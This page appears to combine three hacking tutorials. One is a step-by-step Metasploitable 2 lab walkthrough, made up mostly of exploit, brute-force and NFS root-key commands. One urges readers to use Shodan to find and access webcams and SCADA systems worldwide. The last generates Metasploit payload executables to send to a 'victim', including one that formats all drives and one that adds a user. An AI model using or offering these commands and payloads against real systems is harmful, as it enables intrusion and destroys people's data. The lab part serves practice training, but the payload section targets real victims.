Penetration Testing Skills Practice with Metasploitable (Beginner Guide)


If you’ve ever tried to learn about pentesting you would have come across Metasploitable in one way or another. In this article we will be exploiting all the services running in Metasploitable 2, so without further ado, let’s dive in.

Table of Content
§  Network Scan
§  Exploiting Port 21 FTP (Hydra)
§  Exploiting VSFTPS 2.3.4
§  Exploiting Port 22 SSH
§  Bruteforce Port 22 SSH (RSA Method)
§  Exploiting port 23 TELNET (Credential Capture)
§  Exploiting TELNET (Bruteforce)
§  Port 25 SMTP User Enumeration
§  Exploiting Port 80 (PHP)
§  Exploiting Port 139 & 445 (Samba)
§  Exploiting Port 8080 (Java)
§  Exploiting Port 5432 (Postgres)
§  Exploiting Port 6667 (UnrealIRCD)
§  Exploiting Port 36255
§  Remote Login Exploitation
§  Remote Shell Exploitation
§  Exploiting Port 8787
§  Bindshell
§  Exploiting Port 5900 (VNC)
§  Access Port 2121 (ProFTPD)
§  Exploiting Port 8180 (Apache Tomcat)
§  Privilege Escalation via NFS
§  Exploiting Port 3306 (MYSQL)

Network Scan
The first step towards doing what we want to achieve is a service scan that looks at all the 65535 ports of Metasploitable 2 to see what’s running where and with what version. You will notice the result in the image below.
nmap -p- -sV 192.168.1.103

Exploiting Port 21: FTP
We have all our ports and services listed now, let’s start by Exploiting port 21 running FTP. We will be using Hydra for this. The two wordlists for this operation will have default login names and passwords.
Hydra shows us that we have 4 valid login ID’s and passwords.

hydra -L user.txt -P pass.txt 192.168.1.103 ftp

Let’s put our findings to use and try to connect using ftp.
ftp 192.168.1.103

 
Exploiting VSFTPS 2.3.4
We have exploited the service running on port 21, now we will exploit the particular version of the FTP service. We will be searching for an exploit for VSFTPD 2.3.4 using Searchsploit.
searchsploit vsftpd

We now have our exploit, let’s get into Metasploit and run it.


This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit (unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.103
msf exploit (unix/ftp/vsftpd_234_backdoor) > exploit

And as you can observe, we have owned command shell of remote machine.


Exploiting Port 22 SSH
Metasploit has an auxiliary function that we will use on the SSH service running on port 22. One we get our session through it we will be upgrading it to Meterpreter.
This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary (scanner/ssh/ssh_login) > set rhosts 192.168.1.103
msf auxiliary (scanner/ssh/ssh_login) > set user_file /root/Desktop/user.txt
msf auxiliary (scanner/ssh/ssh_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary (scanner/ssh/ssh_login) > exploit

And as you can observe, again we have owned command shell of remote machine.


Bruteforce Port 22 SSH (RSA Method)
This time we will bruteforce the SSH service using a 5720.py exploit. The exploit comes with RSA keys that it used to bruteforce the root login. We will basically be running the exploit by giving it the the path to the RSA keys we want to use and the IP of the target machine. Here’s how it works.
python 5720.py 5622/rsa/2048/ 192.168.1.103 root

Success! It finds the right key pretty quick and gives the exact command to execute to get a successful connection.


Exploiting port 23 TELNET (Credential Capture)
We are using Wireshark to capture the TCP traffic, it is set to run in the background while we connect to Metasploitable 2 through telent using “msfadmin” as credentials for user name and password.
telnet 192.168.1.103

Once successfully connected we go back to Wireshark. Now we click the “TCP Stream” option under Analyze > Follow. This shows us the login credentials in plain text.


Exploiting TELNET
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access. The same password and user file from earlier will be used for this.
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary (scanner/telnet/telnet_login) > set rhosts 192.168.1.103
msf auxiliary (scanner/telnet/telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary (scanner/telnet/telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary (scanner/telnet/telnet_login) > set stop_on_success true
msf auxiliary (scanner/telnet/telnet_login) > exploit


Port 25 SMTP User Enumeration
Kali comes with a tool called “Smtp-User-Enum”, it’s has multiple modes that deal with different facets of SMTP, we will be using it to verify which SMTP usernames exist in victim machine.
We will see that the tool lets us know which all usernames exist that I have saved in my user.txt file.
smtp-user-enum -M VRFY -U user.txt -t 192.168.1.103

Exploiting Port 80 (PHP_CGI)
We know that port 80 is open so we type in the IP address of Metasploitable 2 in our browser and notice that it is running PHP. We dig a little further and find which version of PHP is running and also that it is being run as a CGI. We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit.


When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013.

msf > use exploit/multi/http/php_arg_injection
msf exploit (multi/http/php_arg_injection) > set rhost 192.168.1.103
msf exploit (multi/http/php_arg_injection) > exploit


Exploiting Port 139 & 445 (Samba)
Samba is running on both port 139 and 445, we will be exploiting it using Metasploit. The default port for this exploit is set to port 139 but it can be changed to port 445 as well.

msf > use exploit/multi/samba/usermap_script
msf exploit (multi/samba/usermap_script) > set rhost 192.168.1.103
msf exploit (multi/samba/usermap_script) > exploit

Exploiting Port 8080 (Java)
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.

We will be using the Remote Method Invocation exploit on the Java service running on port 8080. It’s quite straight forward, just choose the exploit, set the target machine IP and that’s it.

msf exploit (multi/misc/java_rmi_server) > set rhost 192,168.1.103
msf exploit (multi/misc/java_rmi_server) > exploit

Exploiting Port 5432 (Postgres)
Postgres is associated with SQL is runs on port 5432 and we have a great little exploit that can be used here.
On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.

msf exploit (linux/postgres/postgres_payload) > set rhost 192.168.1.103
msf exploit (linux/postgres/postgres_payload) > exploit

Exploiting Port 6667 (UnrealIRCD)
Port 6667 has the Unreal IRCD service running, we will exploit is using a backdoor that’s available in Metasploit.

This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

msf exploit (unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.1.103
msf exploit (unix/irc/unreal_ircd_3281_backdoor) > exploit

Exploiting Port 36255
This is a weakness that allows arbitrary commands on systems running distccd. We will be using Distcc Daemon Command Execution. This module uses a documented security weakness to execute arbitrary commands on any system running distccd.

msf exploit (unix/misc/distcc_exec) > set rhost 192.168.1.103
msf exploit (unix/misc/distcc_exec) > exploit

Remote Login Exploitation
Remote login is a tool that was used before ssh came into the picture. Since we have the login credentials for Metasploitable 2, we will be using Rlogin to connect to it, using the “-l” flag to define the login name.
rlogin -l msfadmin 192.168.1.103

Metasploit has a module in its auxiliary section that we can use to get into the rlogin.
msf auxiliary (scanner/rservices/rlogin_login) > set rhosts 192.168.1.103
msf auxiliary (scanner/rservices/rlogin_login) > set username root
msf auxiliary (scanner/rservices/rlogin_login) > exploit


Remote Shell Exploitation
Remote shell Protocol is another way to gain remote shell, it is a legitimate service that we will use to access the target machine with login credentials to run a certain command.
rsh -l msfadmin 192.168.1.103 ifconfig

Exploiting Distributed Ruby Remote Code Execution (8787)

Now that we know that this service is running successfully, let’s try to exploit it using Metasploit.
This module exploits remote code execution vulnerabilities in dRuby.
msf exploit (linux/misc/drb_remote_code) > set rhost 192.168.1.103
msf exploit (linux/misc/drb_remote_code) > exploit

Bindshell Exploitation
Metasploitable 2 comes with an open bindshell service running on port 1524. We will be using Netcat to connect to it.
nc 192.168.1.103 1524

Exploiting Port 5900 (VNC)
Virtual Network computing or VNC service runs on port 5900, this service can be exploited using a module in Metasploit to find the login credentials.
This module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method.
msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary (scanner/vnc/vnc_login) > set login 192.168.1.103
msf auxiliary (scanner/vnc/vnc_login) > exploit

Let’s put what we’ve found to the test by connecting using the vncviewer
vncviewer 192.168.1.103

The credentials work and we have a remote desktop session that pops up in Kali.

Access Port 2121 (ProFTPD)
We will connect to the target machine using Telnet running on port 2121 using the default credentials for Metasplotable 2.
telnet 192.168.1.103 2121

Exploiting Port 8180 (Apache Tomcat)
We saw during the service scan that Apache Tomcat is running on port 8180.  Incidentally, Metasploit has an exploit for Tomcat that we can use to get a Meterpreter session. The exploit uses the default credentials used by Tomcat to gain access.

This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.

msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit (multi/http/tomcat_mgr_upload) > set rhost 192.168.1.103
msf exploit (multi/http/tomcat_mgr_upload) > set rpost 8108
msf exploit (multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit (multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit (multi/http/tomcat_mgr_upload) > exploit 


Privilege Escalation via Port 2049: NFS
In this method we will be creating a ssh key without a passphrase and exchanging it with the ssh key of the victim machine for the root user.
First, we use ssh-keygen to generate a RSA keypair without a key phrase, then we place it in the “/root/.ssh” folder where the key is found by default.  Once the key is created and placed, we will create a directory “/tmp/sshkey/” in our local machine.
The next part is a little tricky, we will be mounting the directory we just made on the victim machine using the Network File Sharing Function. Once mounted we write the key from our machine to the victim’s machine, a sort of an override, using the cat command. The thing to keep in mind here is that the key we have is without a passphrase so the after the override the key in the victim machine is also without a passphrase, so when it is connected using ssh, it’s using a blank password.
The key is now copied so we unmount the directory and connect as the root user using ssh.
showmount -e 192.168.1.103
ssh-keygen
mkdir /tmp/sshkey
mount -t nfs 192.168.1.103:/ /tmp/sshkey/
cat ~/ .ssh/id_rsa.pub >>/tmp/sshkey/root/ .ssh/authorized_keys
umount /tmp/sshkey
ssh root@192.168.1.103

Exploiting Port 3306 (MYSQL)
The mySQL database in Metasploitable 2 has negligible security, we will connect to it using the mySQL function of Kali by defining the username and host IP. The password will be left blank.
mysql -u root -h 192.168.1.103 -p
 

This article is a gateway into the world of pentesting. Its intent is to give you a single source containing all the ways and means to exploit all the vulnerabilities of Metasploiable 2 classified by port’s and services, it doesn’t get any better than this.

Shodan a Search Engine for Hackers (Beginner Tutorial)

Many people have described Shodan as a search engine for hackers, and have even called it "the world's most dangerous search engine". It was developed by John Matherly in 2009, and unlike other search engines, it looks for specific information that can be invaluable to hackers. John Matherly is an Inernet Cartographer, hence the shodan.

Shodan is a type of search engine that allows users to search for Internet-connected devices and explicit website information such as the type of software running on a particular system and local anonymous FTP servers. Shodan can be used much in the same way as Google, but indexes information based on banner content, which is meta-data that servers send back to hosting clients. For the best results, Shodan searches should be executed using a series of filters in a string format.

So in conclusion we can say that, Shodan is a search engine for finding specific devices, and device types, that exist online. It is like an internet map that lets us see which device is connected to which or ports are open on a specific device or what operating system a certain system is using, etc. Rather than to locate specific content on a particular search term, SHODAN is designed to help the user find specific nodes (desktops, servers, routers, switches, etc.) with specific content in their banners.

What Shodan can do?
Shodan pulls service banners from servers and devices on the web, mostly port 80, but also ports 21 (ftp), 22 (SSH), 23 (telnet), 161 (SNMP), and 5060 (SIP). Since almost every new device now has a web interface (maybe even your refrigerator) to ease remote management, we can access innumerable web-enabled servers, network devices, home security systems, etc. Shodan can find us webcams, traffic signals, video projectors, routers, home heating systems, and SCADA systems that, for instance, control nuclear power plants and electrical grids. If it has a web interface, Shodan can find it! Although many of these systems communicate over port 80 using HTTP, many use telnet or other protocols over other ports. Keep that in mind when trying to connect to them.

How to use Shodan?

Understanding shodan is very important at first you might find it complex but once yu get to know it you will find it very handy in use and  very resourcefull too. So, now let us learn how to work with fasinating search engine. To use shodan to your advantage you have to first register to it.


Follow the steps to register. After registration a link will be sent to your e-mail ID for your activation of account on Shodan. Once your account is activated login to Shodan and now that you are logged in you are free to search anything.
Here are some examples for which you can use shodan to search up the things you want.
Webcam
When you search for webcam, it will show you all the webcam present in the world. It will show the results as shown in the image below :


Traffic Signals
Seaching about traffic signals or traffic signaks camera then it will show you all the traffic survallaince camera present.


Cisco
Searching about cisco will show you all the cisco routers in the world but you can search them by country. Like, here, i have found cisco routers in India and result is below image :


Scada
You can also search about Scada and you will get its information arround the whole world as shown :


netcam
Shodan can also show you about all the netcams in world and you can access them too with your hacking skills.


GPS
Shodan even lets you find all the GPS devices all over the world and for this you just have to type gps in the search box.


Port
Not only the devices but it can help find which port is open in which device. For example I have here searched port : 1723. Now we all know this port is used for VPN so through this we can know which device is using VPN as shown in image below :


When you search for port : 3389 it will show the operating system used by the device too which can be very useful.

This is how Shodan is useful for hackers as it gives all the information necessary to collect that too all over the world. And so you can manipulate this information as you desire.

Fun with Metasploit Payloads

Ordinarily small things have no use but whenever it comes up to their greater relevance then at certain point of time it has a universalized impact and can create a complex situation. And this article is about some simple payloads that can help us to muddle with our victim. Hence, leaving a mark behind.
Moreover metasploit is not about hacking but it’s also about hacking in style. There are a lot of payloads that are too good to not to use. These payloads are like small droplets in an ocean but still they matter and there are only handful of people who about these payloads. Also so far we have only learnt about hardcore metasploit but let’s see what more cools things it has to show us.

Add User
Moving forward, let us learn how to make such payloads, open metasploit and use windows/adduser payload. This payload lets you create another user in your victim's PC. The commands are:

use windows/adduser
set user raaz
set pass Ignite@123
set wmic true

generate -t exe -f /root/Desktop/user.exe


With the execution of above command, a new user will be created in your victim's PC. And you can go to the shell of your victim's PC and see the result. And to see the user’s type:
net user


Message Box

Another payload is windows/messagebox. This payload makes a pop-up message appear on victim's PC. The message can be anything you want along with title. To create this payload again open metasploit and use windows/messagebox. The commands are:
use windows/messagebox
set text you have been hacked
set tittle Important Message
generate -t exe -f /root/Desktop/message.exe


And your payload is created. When you will send it and once the victim will open it then a pop-up message box will appear displaying your message like the following one:


Our next payload is windows/format_all_drives. This payload formats any desired drive. The commands to create this payload are :

use windows/format_all_drives
set vlomelabel 3
generate -t exe -f /root/Desktop/format.exe


When the payload is sent and opened, it formats their drive.
Speak
Another such payload is speak_pwned. This payload is a one-line command payload which creates an audio saying "you have been pawned" and now when the victim will open it then this audio will be played for him/her. And it's command is :
generate -t exe -f /root/Desktop/speak.exe


So that is how you can use different payloads to mess with your victim. Also you can create this payload and keep it safe with you so that you can use it whenever you want. And please note that all these payloads are post payloads to make these work you need to first hack your victim.

This way even the smaller things will make a difference; after all even a pawn can kill the king. And most importantly, once you are done with your victim you can leave him/her a souvenir.